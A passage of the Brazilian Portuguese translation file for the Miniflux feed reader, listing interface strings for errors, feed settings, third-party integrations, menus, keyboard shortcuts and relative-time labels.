\"error.unable_to_create_user\": \"Não foi possível criar esse usuário.\",\n    \"error.unable_to_detect_rssbridge\": \"Unable to detect feed using RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Unable to parse this feed: %v.\",\n    \"error.unable_to_update_category\": \"Não foi possível atualizar essa categoria.\",\n    \"error.unable_to_update_feed\": \"Não foi possível atualizar essa fonte.\",\n    \"error.unable_to_update_user\": \"Não foi possível atualizar esse usuário.\",\n    \"error.unlink_account_without_password\": \"Você deve definir uma senha, senão não será possível efetuar a sessão novamente.\",\n    \"error.user_already_exists\": \"Esse usuário já existe.\",\n    \"error.user_mandatory_fields\": \"O nome de usuário é obrigatório.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token e Organization Slug são obrigatórios\",\n    \"form.api_key.label.description\": \"Etiqueta da chave de API\",\n    \"form.category.hide_globally\": \"Ocultar entradas na lista global não lida\",\n    \"form.category.label.title\": \"Título\",\n    \"form.feed.fieldset.general\": \"Geral\",\n    \"form.feed.fieldset.integration\": \"Serviços de Terceiros\",\n    \"form.feed.fieldset.network_settings\": \"Configurações de Rede\",\n    \"form.feed.fieldset.rules\": \"Regras\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Permitir certificados autoassinados ou inválidos\",\n    \"form.feed.label.apprise_service_urls\": \"Lista de URLs de serviços Apprise separadas por vírgula\",\n    \"form.feed.label.block_filter_entry_rules\": \"Regras de Bloqueio de Entradas\",\n    \"form.feed.label.blocklist_rules\": \"Filtros de Bloqueio Baseados em Regex\",\n    \"form.feed.label.category\": \"Categoria\",\n    \"form.feed.label.cookie\": \"Definir Cookies\",\n    \"form.feed.label.crawler\": \"Obter conteúdo original\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Descrição\",\n    \"form.feed.label.disable_http2\": \"Desativar HTTP/2 para evitar fingerprinting\",\n    \"form.feed.label.disabled\": \"Não atualizar esta fonte\",\n    \"form.feed.label.feed_password\": \"Senha da fonte\",\n    \"form.feed.label.feed_url\": \"URL da fonte\",\n    \"form.feed.label.feed_username\": \"Nome de usuário da fonte\",\n    \"form.feed.label.fetch_via_proxy\": \"Usar o proxy configurado no nível da aplicação\",\n    \"form.feed.label.hide_globally\": \"Ocultar entradas na lista global não lida\",\n    \"form.feed.label.ignore_http_cache\": \"Ignorar cache HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Regras de Permissão de Entradas\",\n    \"form.feed.label.keeplist_rules\": \"Filtros de Manutenção Baseados em Regex\",\n    \"form.feed.label.no_media_player\": \"Sem reprodutor de mídia (áudio/vídeo)\",\n    \"form.feed.label.ntfy_activate\": \"Enviar itens para o ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Prioridade padrão do ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Alta prioridade do ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Baixa prioridade do ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Prioridade máxima do ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Prioridade mínima do ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Prioridade do ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Tópico do ntfy (opcional)\",\n    \"form.feed.label.proxy_url\": \"Proxy URL\",\n    \"form.feed.label.pushover_activate\": \"Enviar itens para o pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Prioridade padrão do Pushover\",\n    \"form.feed.label.pushover_high_priority\": \"Alta prioridade do Pushover\",\n    \"form.feed.label.pushover_low_priority\": \"Baixa prioridade do Pushover\",\n    \"form.feed.label.pushover_max_priority\": \"Prioridade máxima do Pushover\",\n    \"form.feed.label.pushover_min_priority\": \"Prioridade mínima do Pushover\",\n    \"form.feed.label.pushover_priority\": \"Prioridade da mensagem do Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Regras de Reescrita de Conteúdo\",\n    \"form.feed.label.scraper_rules\": \"Regras do scraper\",\n    \"form.feed.label.site_url\": \"URL do site\",\n    \"form.feed.label.title\": \"Título\",\n    \"form.feed.label.urlrewrite_rules\": \"Regras de reescrita de URL\",\n    \"form.feed.label.user_agent\": \"Sobrescrever o agente de usuário (user-agent) padrão\",\n    \"form.feed.label.webhook_url\": \"Sobrescrever URL do webhook\",\n    \"form.import.label.file\": \"Arquivo OPML\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Enviar itens para o archive.org\",\n    \"form.integration.apprise_activate\": \"Enviar itens para o Apprise\",\n    \"form.integration.apprise_services_url\": \"Lista de URLs de serviços Apprise separadas por vírgula\",\n    \"form.integration.apprise_url\": \"Apprise API URL\",\n    \"form.integration.betula_activate\": \"Salvar itens no Betula\",\n    \"form.integration.betula_token\": \"Betula Token\",\n    \"form.integration.betula_url\": \"Betula server URL\",\n    \"form.integration.cubox_activate\": \"Salvar itens no Cubox\",\n    \"form.integration.cubox_api_link\": \"Link da API do Cubox\",\n    \"form.integration.discord_activate\": \"Enviar itens para o Discord\",\n    \"form.integration.discord_webhook_link\": \"Discord Webhook link\",\n    \"form.integration.espial_activate\": \"Salvar itens no Espial\",\n    \"form.integration.espial_api_key\": \"Chave de API do Espial\",\n    \"form.integration.espial_endpoint\": \"Endpoint de API do Espial\",\n    \"form.integration.espial_tags\": \"Etiquetas (tags) do Espial\",\n    \"form.integration.fever_activate\": \"Ativar API do Fever\",\n    \"form.integration.fever_endpoint\": \"Endpoint da API do Fever:\",\n    \"form.integration.fever_password\": \"Senha do Fever\",\n    \"form.integration.fever_username\": \"Nome de usuário do Fever\",\n    \"form.integration.googlereader_activate\": \"Ativar API do Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Endpoint da API do Google Reader:\",\n    \"form.integration.googlereader_password\": \"Senha do Google Reader\",\n    \"form.integration.googlereader_username\": \"Nome de usuário do Google Reader\",\n    \"form.integration.instapaper_activate\": \"Salvar itens no Instapaper\",\n    \"form.integration.instapaper_password\": \"Senha do Instapaper\",\n    \"form.integration.instapaper_username\": \"Nome do usuário do Instapaper\",\n    \"form.integration.karakeep_activate\": \"Salvar itens no Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Chave de API do Karakeep\",\n    \"form.integration.karakeep_url\": \"Endpoint de API do Karakeep\",\n    \"form.integration.karakeep_tags\": \"Etiquetas do Karakeep\",\n    \"form.integration.linkace_activate\": \"Salvar itens no LinkAce\",\n    \"form.integration.linkace_api_key\": \"Chave de API do LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Desativar verificação de link\",\n    \"form.integration.linkace_endpoint\": \"Endpoint de API do LinkAce\",\n    \"form.integration.linkace_is_private\": \"Marcar link como privado\",\n    \"form.integration.linkace_tags\": \"Etiquetas do LinkAce\",\n    \"form.integration.linkding_activate\": \"Salvar itens no Linkding\",\n    \"form.integration.linkding_api_key\": \"Chave de API do Linkding\",\n    \"form.integration.linkding_bookmark\": \"Salvar marcador como não lido\",\n    \"form.integration.linkding_endpoint\": \"Endpoint de API do Linkding\",\n    \"form.integration.linkding_tags\": \"Etiquetas do Linkding\",\n    \"form.integration.linktaco_activate\": \"Salvar itens no LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API Token\",\n    \"form.integration.linktaco_api_token_hint\": \"Obtenha seu token de acesso pessoal em\",\n    \"form.integration.linktaco_org_slug\": \"Slug da organização\",\n    \"form.integration.linktaco_tags\": \"Tags (máx 10, separadas por vírgula)\",\n    \"form.integration.linktaco_tags_hint\": \"Máximo 10 tags, separadas por vírgula\",\n    \"form.integration.linktaco_visibility\": \"Visibilidade\",\n    \"form.integration.linktaco_visibility_public\": \"Público\",\n    \"form.integration.linktaco_visibility_private\": \"Privado\",\n    \"form.integration.linktaco_visibility_hint\": \"Visibilidade PRIVADA requer uma conta LinkTaco paga\",\n    \"form.integration.linkwarden_activate\": \"Salvar itens no Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Chave de API do Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"URL base do Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"ID da coleção do Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"Transferir novos artigos para o Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"Identificação da sala Matrix\",\n    \"form.integration.matrix_bot_password\": \"Palavra-passe para utilizador da Matrix\",\n    \"form.integration.matrix_bot_url\": \"URL do servidor Matrix\",\n    \"form.integration.matrix_bot_user\": \"Nome de utilizador para Matrix\",\n    \"form.integration.notion_activate\": \"Salvar itens no Notion\",\n    \"form.integration.notion_page_id\": \"ID da página do Notion\",\n    \"form.integration.notion_token\": \"Token secreto do Notion\",\n    \"form.integration.ntfy_activate\": \"Enviar itens para o ntfy\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API Token (opcional)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy Icon URL (opcional)\",\n    \"form.integration.ntfy_internal_links\": \"Usar links internos ao clicar (opcional)\",\n    \"form.integration.ntfy_password\": \"Ntfy Password (opcional)\",\n    \"form.integration.ntfy_topic\": \"Tópico do Ntfy (padrão se não definido na fonte)\",\n    \"form.integration.ntfy_url\": \"URL do Ntfy (opcional, padrão ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Usuário do Ntfy (opcional)\",\n    \"form.integration.nunux_keeper_activate\": \"Salvar itens no Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Chave de API do Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Endpoint de API do Nunux Keeper\",\n    \"form.integration.omnivore_activate\": \"Salvar itens no Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Chave de API do Omnivore\",\n    \"form.integration.omnivore_url\": \"Endpoint de API do Omnivore\",\n    \"form.integration.pinboard_activate\": \"Salvar itens no Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Salvar marcador como não lido\",\n    \"form.integration.pinboard_tags\": \"Etiquetas (tags) do Pinboard\",\n    \"form.integration.pinboard_token\": \"Token de API do Pinboard\",\n    \"form.integration.pushover_activate\": \"Enviar itens para o Pushover\",\n    \"form.integration.pushover_device\": \"Dispositivo Pushover (opcional)\",\n    \"form.integration.pushover_prefix\": \"Prefixo da URL do Pushover (opcional)\",\n    \"form.integration.pushover_token\": \"Token de API do aplicativo Pushover\",\n    \"form.integration.pushover_user\": \"Chave do usuário Pushover\",\n    \"form.integration.raindrop_activate\": \"Salvar itens no Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"ID da coleção\",\n    \"form.integration.raindrop_tags\": \"Etiquetas (separadas por vírgula)\",\n    \"form.integration.raindrop_token\": \"Token (teste)\",\n    \"form.integration.readeck_activate\": \"Salvar itens no Readeck\",\n    \"form.integration.readeck_api_key\": \"Chave de API do Readeck\",\n    \"form.integration.readeck_endpoint\": \"Endpoint de API do Readeck\",\n    \"form.integration.readeck_labels\": \"Etiquetas do Readeck\",\n    \"form.integration.readeck_only_url\": \"Enviar apenas URL (em vez de conteúdo completo)\",\n    \"form.integration.readeck_push_activate\": \"Enviar automaticamente novos itens para o Readeck\",\n    \"form.integration.readwise_activate\": \"Salvar itens no Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Token de acesso do Readwise Reader\",\n    \"form.integration.readwise_api_key_link\": \"Obtenha seu token de acesso do Readwise\",\n    \"form.integration.rssbridge_activate\": \"Verificar RSS-Bridge ao adicionar inscrições\",\n    \"form.integration.rssbridge_token\": \"Token de autenticação do RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"URL do servidor RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Salvar artigos no Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Segredo da API do Shaarli\",\n    \"form.integration.shaarli_endpoint\": \"URL do Shaarli\",\n    \"form.integration.shiori_activate\": \"Salvar itens no Shiori\",\n    \"form.integration.shiori_endpoint\": \"Endpoint da API do Shiori\",\n    \"form.integration.shiori_password\": \"Senha do Shiori\",\n    \"form.integration.shiori_username\": \"Nome de usuário do Shiori\",\n    \"form.integration.slack_activate\": \"Enviar itens para o Slack\",\n    \"form.integration.slack_webhook_link\": \"Link do Webhook do Slack\",\n    \"form.integration.telegram_bot_activate\": \"Envie novos artigos para o chat do Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Desativar botões\",\n    \"form.integration.telegram_bot_disable_notification\": \"Desativar notificação\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Desativar pré-visualização de página\",\n    \"form.integration.telegram_bot_token\": \"Token de bot\",\n    \"form.integration.telegram_chat_id\": \"ID de bate-papo\",\n    \"form.integration.telegram_topic_id\": \"Topic ID\",\n    \"form.integration.wallabag_activate\": \"Salvar itens no Wallabag\",\n    \"form.integration.wallabag_client_id\": \"ID de cliente (Client ID) do Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Segredo do cliente (Client Secret) do Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"URL base do Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Enviar apenas URL (em vez de conteúdo completo)\",\n    \"form.integration.wallabag_password\": \"Senha do Wallabag\",\n    \"form.integration.wallabag_username\": \"Nome de usuário do Wallabag\",\n    \"form.integration.wallabag_tags\": \"Etiquetas do Wallabag\",\n    \"form.integration.webhook_activate\": \"Ativar Webhooks\",\n    \"form.integration.webhook_secret\": \"Segredo dos Webhooks\",\n    \"form.integration.webhook_url\": \"URL padrão do Webhook\",\n    \"form.prefs.fieldset.application_settings\": \"Configurações do aplicativo\",\n    \"form.prefs.fieldset.authentication_settings\": \"Configurações de autenticação\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Configurações globais de fontes\",\n    \"form.prefs.fieldset.reader_settings\": \"Configurações do leitor\",\n    \"form.prefs.help.external_font_hosts\": \"Lista separada por espaço de hosts de fontes externas permitidos. Por exemplo: 'fonts.gstatic.com fonts.googleapis.com'.\",\n    \"form.prefs.label.always_open_external_links\": \"Ler artigos abrindo links externos\",\n    \"form.prefs.label.categories_sorting_order\": \"Classificação das categorias\",\n    \"form.prefs.label.cjk_reading_speed\": \"Velocidade de leitura para chinês, coreano e japonês (caracteres por minuto)\",\n    \"form.prefs.label.custom_css\": \"CSS customizado\",\n    \"form.prefs.label.custom_js\": \"JavaScript customizado\",\n    \"form.prefs.label.default_home_page\": \"Página inicial predefinida\",\n    \"form.prefs.label.default_reading_speed\": \"Velocidade de leitura para outros idiomas (palavras por minuto)\",\n    \"form.prefs.label.display_mode\": \"Modo de exibição Progressive Web App (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Itens por página\",\n    \"form.prefs.label.entry_order\": \"Coluna de Ordenação de Entrada\",\n    \"form.prefs.label.entry_sorting\": \"Ordenação dos itens\",\n    \"form.prefs.label.entry_swipe\": \"Ativar entrada de furto em telas sensíveis ao toque\",\n    \"form.prefs.label.external_font_hosts\": \"Hosts de fontes externas\",\n    \"form.prefs.label.gesture_nav\": \"Gesto para navegar entre as entradas\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Habilitar atalhos do teclado\",\n    \"form.prefs.label.language\": \"Idioma\",\n    \"form.prefs.label.mark_read_manually\": \"Marcar itens como lidos manualmente\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Marcar como lido apenas quando a reprodução de áudio/vídeo atingir 90%% de conclusão\",\n    \"form.prefs.label.mark_read_on_view\": \"Marcar automaticamente as entradas como lidas quando visualizadas\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Marcar itens como lidos quando visualizados. Para áudio/vídeo, marcar como lido em 90%% de conclusão\",\n    \"form.prefs.label.media_playback_rate\": \"Velocidade de reprodução do áudio/vídeo\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Abrir links externos em uma nova aba (adiciona target=\\\"_blank\\\" aos links)\",\n    \"form.prefs.label.show_reading_time\": \"Mostrar tempo estimado de leitura de artigos\",\n    \"form.prefs.label.theme\": \"Tema\",\n    \"form.prefs.label.timezone\": \"Fuso horário\",\n    \"form.prefs.select.alphabetical\": \"Por ordem alfabética\",\n    \"form.prefs.select.browser\": \"Navegador\",\n    \"form.prefs.select.created_time\": \"Entrada tempo criado\",\n    \"form.prefs.select.fullscreen\": \"Tela completa\",\n    \"form.prefs.select.minimal_ui\": \"Mínimo\",\n    \"form.prefs.select.none\": \"Nenhum\",\n    \"form.prefs.select.older_first\": \"Itens mais velhos primeiro\",\n    \"form.prefs.select.publish_time\": \"Entrada hora de publicação\",\n    \"form.prefs.select.recent_first\": \"Itens mais recentes\",\n    \"form.prefs.select.standalone\": \"Autônomo\",\n    \"form.prefs.select.swipe\": \"Deslize\",\n    \"form.prefs.select.tap\": \"Toque duplo\",\n    \"form.prefs.select.unread_count\": \"Contagem não lida\",\n    \"form.submit.loading\": \"Carregando...\",\n    \"form.submit.saving\": \"Salvando...\",\n    \"form.user.label.admin\": \"Administrador\",\n    \"form.user.label.confirmation\": \"Confirmação de senha\",\n    \"form.user.label.password\": \"Senha\",\n    \"form.user.label.username\": \"Nome de usuário\",\n    \"menu.about\": \"Sobre\",\n    \"menu.add_feed\": \"Adicionar inscrição\",\n    \"menu.add_user\": \"Adicionar usuário\",\n    \"menu.api_keys\": \"Chaves de API\",\n    \"menu.categories\": \"Categorias\",\n    \"menu.create_api_key\": \"Criar uma nova chave de API\",\n    \"menu.create_category\": \"Criar uma categoria\",\n    \"menu.edit_category\": \"Editar\",\n    \"menu.edit_feed\": \"Editar\",\n    \"menu.export\": \"Exportar\",\n    \"menu.feed_entries\": \"Itens\",\n    \"menu.feeds\": \"Fontes\",\n    \"menu.flush_history\": \"Limpar histórico\",\n    \"menu.history\": \"Histórico\",\n    \"menu.home_page\": \"Home page\",\n    \"menu.import\": \"Importar\",\n    \"menu.integrations\": \"Integrações\",\n    \"menu.logout\": \"Encerrar sessão\",\n    \"menu.mark_all_as_read\": \"Marcar todos como lido\",\n    \"menu.mark_page_as_read\": \"Marcar essa página como lida\",\n    \"menu.preferences\": \"Preferências\",\n    \"menu.refresh_all_feeds\": \"Atualizar todas as fontes\",\n    \"menu.refresh_feed\": \"Atualizar\",\n    \"menu.search\": \"Buscar\",\n    \"menu.sessions\": \"Sessões\",\n    \"menu.settings\": \"Configurações\",\n    \"menu.shared_entries\": \"Itens compartilhados\",\n    \"menu.show_all_entries\": \"Mostrar todas os itens\",\n    \"menu.show_only_starred_entries\": \"Mostrar apenas os favoritos\",\n    \"menu.show_only_unread_entries\": \"Mostrar apenas itens não lidos\",\n    \"menu.starred\": \"Favoritos\",\n    \"menu.title\": \"Menu\",\n    \"menu.unread\": \"Não lido\",\n    \"menu.users\": \"Usuários\",\n    \"page.about.author\": \"Autor:\",\n    \"page.about.build_date\": \"Compilado em:\",\n    \"page.about.credits\": \"Créditos\",\n    \"page.about.db_usage\": \"Tamanho do banco de dados:\",\n    \"page.about.git_commit\": \"Commit do Git:\",\n    \"page.about.global_config_options\": \"opções de configuração global\",\n    \"page.about.go_version\": \"Go versão:\",\n    \"page.about.license\": \"Licença:\",\n    \"page.about.postgres_version\": \"Postgres versão:\",\n    \"page.about.title\": \"Sobre\",\n    \"page.about.version\": \"Versão:\",\n    \"page.add_feed.choose_feed\": \"Escolher uma fonte\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Opções avançadas\",\n    \"page.add_feed.no_category\": \"Não existe uma categoria. Deve existir pelo menos uma categoria.\",\n    \"page.add_feed.submit\": \"Buscar uma fonte\",\n    \"page.add_feed.title\": \"Nova inscrição\",\n    \"page.api_keys.never_used\": \"Nunca usado\",\n    \"page.api_keys.table.actions\": \"Ações\",\n    \"page.api_keys.table.created_at\": \"Data de criação\",\n    \"page.api_keys.table.description\": \"Descrição\",\n    \"page.api_keys.table.last_used_at\": \"Ultima utilização\",\n    \"page.api_keys.table.token\": \"Token\",\n    \"page.api_keys.title\": \"Chaves de API\",\n    \"page.categories.entries\": \"Itens\",\n    \"page.categories.feed_count\": [\n        \"Existe %d fonte.\",\n        \"Existem %d fontes.\"\n    ],\n    \"page.categories.feeds\": \"Inscrições\",\n    \"page.categories.no_feed\": \"Sem fonte.\",\n    \"page.categories.title\": \"Categorias\",\n    \"page.categories_count\": [\n        \"%d categoria\",\n        \"%d categorias\"\n    ],\n    \"page.category_label\": \"Categoria: %s\",\n    \"page.edit_category.title\": \"Editar categoria: %s\",\n    \"page.edit_feed.etag_header\": \"Cabeçalho 'ETag':\",\n    \"page.edit_feed.last_check\": \"Última verificação:\",\n    \"page.edit_feed.last_modified_header\": \"Cabeçalho 'LastModified':\",\n    \"page.edit_feed.last_parsing_error\": \"Último erro durante processamento\",\n    \"page.edit_feed.no_header\": \"Sem cabeçalhos\",\n    \"page.edit_feed.title\": \"Editar fonte: %s\",\n    \"page.edit_user.title\": \"Editar usuário: %s\",\n    \"page.entry.attachments\": \"Anexos\",\n    \"page.feeds.error_count\": [\n        \"%d erro\",\n        \"%d erros\"\n    ],\n    \"page.feeds.last_check\": \"Última verificação:\",\n    \"page.feeds.next_check\": \"Próxima verificação:\",\n    \"page.feeds.read_counter\": \"Número de itens lidos\",\n    \"page.feeds.title\": \"Fontes\",\n    \"page.footer.elevator\": \"Voltar ao topo\",\n    \"page.history.title\": \"Histórico\",\n    \"page.import.title\": \"Importar\",\n    \"page.integration.bookmarklet\": \"Bookmarklet\",\n    \"page.integration.bookmarklet.help\": \"Esse link especial permite você se inscrever a um site diretamente usando favorito do navegador.\",\n    \"page.integration.bookmarklet.instructions\": \"Arrasta e solta esse link para os favoritos do teu navegador.\",\n    \"page.integration.bookmarklet.name\": \"Adicionar ao Miniflux\",\n    \"page.integration.miniflux_api\": \"API do Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Endpoint da API\",\n    \"page.integration.miniflux_api_password\": \"Senha\",\n    \"page.integration.miniflux_api_password_value\": \"Senha da sua Conta\",\n    \"page.integration.miniflux_api_username\": \"Nome de usuário\",\n    \"page.integrations.title\": \"Integrações\",\n    \"page.keyboard_shortcuts.close_modal\": \"Fechar janela\",\n    \"page.keyboard_shortcuts.download_content\": \"Buscar o conteúdo original\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Ir para o item inferior\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Ir as categorias\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Ir a fonte\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Ir as inscrições\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Ir ao histórico\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Ir ao tem seguinte\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Ir a página seguinte\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Ir ao item anterior\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Ir a página anterior\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Ir para o campo de busca\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Ir as configurações\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Ir aos favoritos\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Ir para o item superior\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Ir aos não lidos\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Marcar página atual como lida\",\n    \"page.keyboard_shortcuts.open_comments\": \"Abrir os comentários\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Abrir os comentários na janela atual\",\n    \"page.keyboard_shortcuts.open_item\": \"Abrir o item selecionado\",\n    \"page.keyboard_shortcuts.open_original\": \"Abrir o conteúdo original\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Abrir o conteúdo original na janela atual\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Atualizar todas as fontes\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Remover essa fonte\",\n    \"page.keyboard_shortcuts.save_article\": \"Salvar item\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Role o item para cima\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Mostrar atalhos de teclado\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Ações\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Navegação de itens\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Navegação de páginas\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Navegação de seções\",\n    \"page.keyboard_shortcuts.title\": \"Atalhos de teclado\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Marcar ou desmarcar como favorito\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Alternar abrir/fechar anexos do item\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Inverter estado de leitura do item, focar próximo item\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Inverter estado de leitura do item, focar item anterior\",\n    \"page.login.google_signin\": \"Iniciar Sessão com sua conta do Google\",\n    \"page.login.oidc_signin\": \"Iniciar Sessão com sua conta do %s\",\n    \"page.login.title\": \"Iniciar Sessão\",\n    \"page.login.webauthn_login\": \"Entrar com senha\",\n    \"page.login.webauthn_login.error\": \"Não é possível fazer login com senha\",\n    \"page.login.webauthn_login.help\": \"Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).\",\n    \"page.new_api_key.title\": \"Nova chave de API\",\n    \"page.new_category.title\": \"Nova categoria\",\n    \"page.new_user.title\": \"Novo usuário\",\n    \"page.offline.message\": \"Você está offline\",\n    \"page.offline.refresh_page\": \"Tente atualizar a página\",\n    \"page.offline.title\": \"Modo offline\",\n    \"page.read_entry_count\": [\n        \"%d item lido\",\n        \"%d itens lidos\"\n    ],\n    \"page.search.title\": \"Resultados da busca\",\n    \"page.sessions.table.actions\": \"Ações\",\n    \"page.sessions.table.current_session\": \"Sessão Atual\",\n    \"page.sessions.table.date\": \"Data\",\n    \"page.sessions.table.ip\": \"Endereço IP\",\n    \"page.sessions.table.user_agent\": \"Agente de usuário\",\n    \"page.sessions.title\": \"Sessões\",\n    \"page.settings.link_google_account\": \"Vincular minha conta do Google\",\n    \"page.settings.link_oidc_account\": \"Vincular minha conta do %s\",\n    \"page.settings.title\": \"Ajustes\",\n    \"page.settings.unlink_google_account\": \"Desvincular minha conta do Google\",\n    \"page.settings.unlink_oidc_account\": \"Desvincular minha conta do %s\",\n    \"page.settings.webauthn.actions\": \"Ações\",\n    \"page.settings.webauthn.added_on\": \"Adicionado em\",\n    \"page.settings.webauthn.delete\": [\n        \"Remover %d senha\",\n        \"Remover %d senhas\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Último uso\",\n    \"page.settings.webauthn.passkey_name\": \"Nome da senha\",\n    \"page.settings.webauthn.passkeys\": \"Senhas\",\n    \"page.settings.webauthn.register\": \"Registrar senha\",\n    \"page.settings.webauthn.register.error\": \"Não foi possível registrar a senha\",\n    \"page.shared_entries.title\": \"Itens compartilhados\",\n    \"page.shared_entries_count\": [\n        \"%d item compartilhado\",\n        \"%d itens compartilhados\"\n    ],\n    \"page.starred.title\": \"Favoritos\",\n    \"page.starred_entry_count\": [\n        \"%d item favorito\",\n        \"%d itens favoritos\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d item no total\",\n        \"%d itens no total\"\n    ],\n    \"page.unread.title\": \"Não lidos\",\n    \"page.unread_entry_count\": [\n        \"%d item não lido\",\n        \"%d itens não lidos\"\n    ],\n    \"page.users.actions\": \"Ações\",\n    \"page.users.admin.no\": \"Não\",\n    \"page.users.admin.yes\": \"Sim\",\n    \"page.users.is_admin\": \"Administrador\",\n    \"page.users.last_login\": \"Último acesso\",\n    \"page.users.never_logged\": \"Nunca\",\n    \"page.users.title\": \"Usuários\",\n    \"page.users.username\": \"Nome de usuário\",\n    \"page.webauthn_rename.title\": \"Renomear senha\",\n    \"pagination.first\": \"Primeira\",\n    \"pagination.last\": \"Última\",\n    \"pagination.next\": \"Próximo\",\n    \"pagination.previous\": \"Anterior\",\n    \"search.label\": \"Buscar\",\n    \"search.placeholder\": \"Buscar por...\",\n    \"search.submit\": \"Buscar\",\n    \"skip_to_content\": \"Pular para o conteúdo\",\n    \"time_elapsed.days\": [\n        \"há %d dia\",\n        \"há %d dias\"\n    ],\n    \"time_elapsed.hours\": [\n        \"há %d hora\",\n        \"há %d horas\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"há %d minuto\",\n        \"há %d minutos\"\n    ],\n    \"time_elapsed.months\": [\n        \"há %d mês\",\n        \"há %d meses\"\n    ],\n    \"time_elapsed.not_yet\": \"ainda não\",\n    \"time_elapsed.now\": \"agora mesmo\",\n    \"time_elapsed.weeks\": [\n        \"há %d semana\",\n        \"há %d semanas\"\n    ],\n    \"time_elapsed.years\": [\n        \"há %d ano\",\n        \"há %d anos\"\n    ],\n    \"time_elapsed.yesterday\": \"ontem\",\n    \"tooltip.keyboard_shortcuts\": \"Atalho do teclado: %s\",\n    \"tooltip.logged_user\": \"Autenticado como %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/ro_RO.json",
